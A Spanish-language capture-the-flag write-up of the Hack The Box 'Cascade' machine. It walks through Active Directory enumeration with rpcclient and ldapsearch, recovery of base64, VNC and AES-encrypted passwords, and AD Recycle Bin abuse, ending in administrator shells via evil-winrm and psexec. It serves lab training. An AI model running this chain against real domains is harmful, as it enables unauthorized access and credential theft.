En este post voy a vulnerar la máquina Cascade de Hack The Box. Es una máquina Windows de nivel medio, basada en directorio activo por medio de ldap, con pivoting entre usuarios y bastante criptografía.
Enumeración
Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.
nmap -p- --open -n --min-rate 5000 10.10.10.182 -Pn

En la máquina hay quince puertos abiertos. Escaneo los diez puertos que he encontrado, ya que el resto son puertos dinámicos del sistema, para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.
nmap -p53,88,135,139,389,445,636,3268,3269,5985 -sC -sV 10.10.10.182 -Pn Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-06 18:09 CET Nmap scan report for 10.10.10.182 Host is up (0.12s latency). PORT STATE SERVICE VERSION 53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1) | dns-nsid: |_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39) 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-03-06 17:25:25Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows Host script results: |_clock-skew: 15m54s | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2022-03-06T17:25:36 |_ start_date: 2022-03-06T17:20:22 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 57.39 seconds
RCP
Accedo al servicio RCP, utilizando rpcclient como usuario NULL y listo los usuarios del dominio.
rpcclient -N 10.10.10.182 -U ""
rpcclient $> enumdomusers
user:[CascGuest] rid:[0x1f5]
user:[arksvc] rid:[0x452]
user:[s.smith] rid:[0x453]
user:[r.thompson] rid:[0x455]
user:[util] rid:[0x457]
user:[j.wakefield] rid:[0x45c]
user:[s.hickson] rid:[0x461]
user:[j.goodhand] rid:[0x462]
user:[a.turnbull] rid:[0x464]
user:[e.crowe] rid:[0x467]
user:[b.hanson] rid:[0x468]
user:[d.burman] rid:[0x469]
user:[BackupSvc] rid:[0x46a]
user:[j.allen] rid:[0x46e]
user:[i.croft] rid:[0x46f]

Continuo enumerando los grupos existentes, los dominios y obtengo una información mas detallada de los usuarios.
rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[DnsUpdateProxy] rid:[0x44f]
rpcclient $> querydispinfo
index: 0xee0 RID: 0x464 acb: 0x00000214 Account: a.turnbull Name: Adrian Turnbull Desc: (null)
index: 0xebc RID: 0x452 acb: 0x00000210 Account: arksvc Name: ArkSvc Desc: (null)
index: 0xee4 RID: 0x468 acb: 0x00000211 Account: b.hanson Name: Ben Hanson Desc: (null)
index: 0xee7 RID: 0x46a acb: 0x00000210 Account: BackupSvc Name: BackupSvc Desc: (null)
index: 0xdeb RID: 0x1f5 acb: 0x00000215 Account: CascGuest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0xee5 RID: 0x469 acb: 0x00000210 Account: d.burman Name: David Burman Desc: (null)
index: 0xee3 RID: 0x467 acb: 0x00000211 Account: e.crowe Name: Edward Crowe Desc: (null)
index: 0xeec RID: 0x46f acb: 0x00000211 Account: i.croft Name: Ian Croft Desc: (null)
index: 0xeeb RID: 0x46e acb: 0x00000210 Account: j.allen Name: Joseph Allen Desc: (null)
index: 0xede RID: 0x462 acb: 0x00000210 Account: j.goodhand Name: John Goodhand Desc: (null)
index: 0xed7 RID: 0x45c acb: 0x00000210 Account: j.wakefield Name: James Wakefield Desc: (null)
index: 0xeca RID: 0x455 acb: 0x00000210 Account: r.thompson Name: Ryan Thompson Desc: (null)
index: 0xedd RID: 0x461 acb: 0x00000210 Account: s.hickson Name: Stephanie Hickson Desc: (null)
index: 0xebd RID: 0x453 acb: 0x00000210 Account: s.smith Name: Steve Smith Desc: (null)
index: 0xed2 RID: 0x457 acb: 0x00000210 Account: util Name: Util Desc: (null)

LDAP
LDAP me permite autenticarme como usuario NULL y enumerar el servicio.
ldapsearch -x -h 10.10.10.182 -D '' -b "dc=cascade,dc=local"

Como hay mucha información, voy a enumerar los usuarios del dominio, para ello vuelvo a lanzar el mismo comando pero filtrando por aquellos que tienen la extensión @cascade.local.
ldapsearch -x -h 10.10.10.182 -D '' -b "dc=cascade,dc=local" | grep -i "@cascade.local"

Comparo estos usuarios con los que he obtenido en RCP y veo que son los mismos. Leo la información de los usuarios y, en le usuario r.thompson veo la flag cascadeLegacyPwd.

Parece una cadena codificada en base64 así que la descodifico y consigo la contraseña rY4n5eva.
echo 'clk0bjVldmE=' | base64 -d

Explotación
Habiendo obtenido las credenciales r.thompson:rY4n5eva, compruebo si son válidas para SMB con crackmapexec y veo que me permite acceder a los discos pero no me sirven para autenticarme en el sistema.
crackmapexec smb 10.10.10.182 -u 'r.thompson' -p 'rY4n5eva'

Enumero las unidades compartidas con smbmap y veo que tengo acceso de lectura a una unidad llamada Data.
smbmap -H 10.10.10.182 -u 'r.thompson' -p 'rY4n5eva'

Accedo a la unidad con smblcient y enumero los directorios.
smbclient -U 'r.thompson%rY4n5eva' //10.10.10.182/Data

Después de un rato recorriendo los diferentes directorios, encuentro un fichero html interesante en la ruta \IT\Email Archives\Meeting_Notes_Jone_2018.htlm y un fichero de entradas de registro (reg) en la ruta \IT\Temp\s.smith\VNC Install.reg.


Abro el fichero html y, en resumen, habla de una migración de la red y que se creó un usuario llamado TempAdmin y que su contraseña es la misma que la del usuario administrador.

El fichero de entradas de registro contiene valores que modifican los valores por defecto del Registro de Windows.

Casi al final encuentro un valor llamado Password, el cual contiene un valor que parece transcrito a hexadecimal.

"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
Además de encontrase en hexadecimal, VNC utiliza un cifrado DES modificado y una clave estática pero, afortunadamente, este cifrado ha sido roto y puedo crackearlo con la herramienta vncpwd del github de jeroennijhof.
Primero paso el código a decimal y luego lo descodifico con la herramienta, obteniendo la contraseña sT333ve2.
printf "\x6b\xcf\x2a\x4b\x6e\x5a\xca\x0f" > passvncencryp.dat cat passvncencryp.dat ./vncpwd passvncencryp.dat

Como he encontrado esta contraseña en el directorio s.smith, y es un nombre de usuario que me aparecía tanto en RPC como en LDAP voy a super que la contraseña pertenece a ese usuario. De todos modos voy a probar con crackmapexec si las credenciales s.smith:sT333ve2 son válidas tanto en smb como en winrm.
crackmapexec smb 10.10.10.182 -u 's.smith' -p 'sT333ve2' crackmapexec winrm 10.10.10.182 -u 's.smith' -p 'sT333ve2'

Como se ve en la imagen anterior, las credenciales son válidas para ambos servicios pero en SMB solamente me permiten acceder al directorio compartido mientras que en winrm me permiten obtener una shell con evil-winrm.
Obtengo la shell por evil-winrm con las credenciales s.smith:sT333ve2 y encuentro la flag de usuario en la ruta C:\Users\s.smith\Desktop\user.txt.
evil-winrm -i 10.10.10.182 -u 's.smith' -p 'sT333ve2'

Escalada Privilegios
Comienzo enumerando información básica del sistema. El comando systeminfo está bloqueado así que consulto directamente los valores del sistema.
[Environment]::Is64BitOperatingSystem [Environment]::Is64BitProcess reg query "hklm\software\microsoft\windows nt\currentversion" /v ProductName

Puedo ver que me encuentro en un Windows Server 2008 R2 de 64 bits.
Consulto la información de mi usuario y veo que pertenece a un grupo llamado Audit share.

Consulto los recursos compartidos con smbmap y veo que hay un directorio llamado Audit$.
smbmap -H 10.10.10.182 -u 's.smith' -p 'sT333ve2'

Accedo al directorio desde la consola de evil-winrm y listo su contenido.

Obviamente lo primero que me llama la atención es el directorio DB. Accedo a él y encuentro un fichero llamado Audit.db.
Me descargo Audit.db y puedo ver que es un fichero de base de datos SQLite. Abro el fichero y, en la tabla Ldap, encuentro una cadena que parece la contraseña del usuario ArkSvc, codificada en base64.
sqlite3 Audit.db
sqlite> .tables
sqlite>select * from Ldap

Descodifico la cadena en base64 pero aparece muchos caracteres extraños… parece que la contraseña está encriptada.
echo 'BQO5l5Kj9MdErXx6Q6AGOw==' | base64 -d

Vuelvo al directorio Audit$ y me descargo los tres primeros ficheros: CascAudit.exe, CascCrypto.dll y RunAudit.bat.

Comienzo leyendo el fichero .bat y encuentro que el fichero .exe se ejecuta con el archivo de base de datos como argumento.

Dado que el fichero .exe ejecuta la base de datos, voy a desensamblarlo con dotPeek para ver si encuentro algo de información en él.

Leo el módulo principal y lo primero que veo es que utiliza la libreria CascCrypto, que me he descargado del directorio compartido como CascCrypto.dll.

Indagando un poco mas en el código, veo que que, efectivamente, utiliza la tabla Ldap de la base de datos, que utiliza una encriptación CBC y que la key de la encriptación es c4scadek3y654321.

Siguiendo la estructura del a encriptación CBC, ahora solo tengo que encontrar el IV del codificado. Cargo el fichero CascCrypto.dll en dotPeek.

Al leer la función principal, veo que el IV es 1tdyjCbY1Ix49842.

Ahora que tengo toda la información que necesito, creo la receta para descifrar el código en CyberChef y obtengo que la contraseña es w3lc0meFr31nd.

Utilizo crackmapexec para ver si las credenciales arksvc:w3lc0meFr31nd son válidas en SMB y WinRM y obtengo que puedo obtener una shell en WinRM.
crackmapexec smb 10.10.10.182 -u 'arksvc' -p 'w3lc0meFr31nd' crackmapexec winrm 10.10.10.182 -u 'arksvc' -p 'w3lc0meFr31nd'

Utilizo evil-winrm para obtener una shell.
evil-winrm -i 10.10.10.182 -u 'arksvc' -p 'w3lc0meFr31nd'

User Pivoting
Enumero toda la información de mi usuario y veo que pertenece al grupo AD Recycle Bin.

Aquí recuerdo que el usuario TempAdmin tiene la misma contraseña que el usuario Administrador y que sería borrado al terminar la migración de la red así que debería buscar información en este grupo.
Trás googlear un rato, encuentro este post donde muestra como recuperar información borrada en la papelera de AD.
Import-Module ActiveDirectory get-adobject -filter 'objectclass -eq "user" -AND IsDeleted -eq $True' -IncludeDeletedObjects -properties IsDeleted,LastKnownParent | Format-List Name,IsDeleted,LastKnownParent,DistinguishedName

get-adobject -filter 'name -like "TempAdmin*"' -IncludeDeletedObjects | Format-List

get-adobject -filter 'objectclass -eq "user" -AND IsDeleted -eq $True -AND name -like "TempAdmin*"' -IncludeDeletedObjects -properties * | Format-List

Como se ve en la imagen anterior, en la flag cascadeLegacyPwd (la misma donde obtuve la contraseña del usuario r.thompson) me muestra un código que seguramente esté codificado en base64. Descodifico la cadena y obtengo la contraseña baCT3r1aN00dles.
echo 'YmFDVDNyMWFOMDBkbGVz' | base64 -d

Compruebo si las credenciales Administrator:baCT3r1aN00dles son válidas con crackmapexec y obtengo que puedo utilizarlas para obtener una shell.
crackmapexec smb 10.10.10.182 -u 'Administrator' -p 'baCT3r1aN00dles'

Utilizo psexec.py para obtener la shell y consigo autenticarme como administrador.
psexec.py Administrator:'baCT3r1aN00dles'@10.10.10.182

La flag de root la encuentro en la ruta C:\Users\Administrator\Desktop\root.txt.

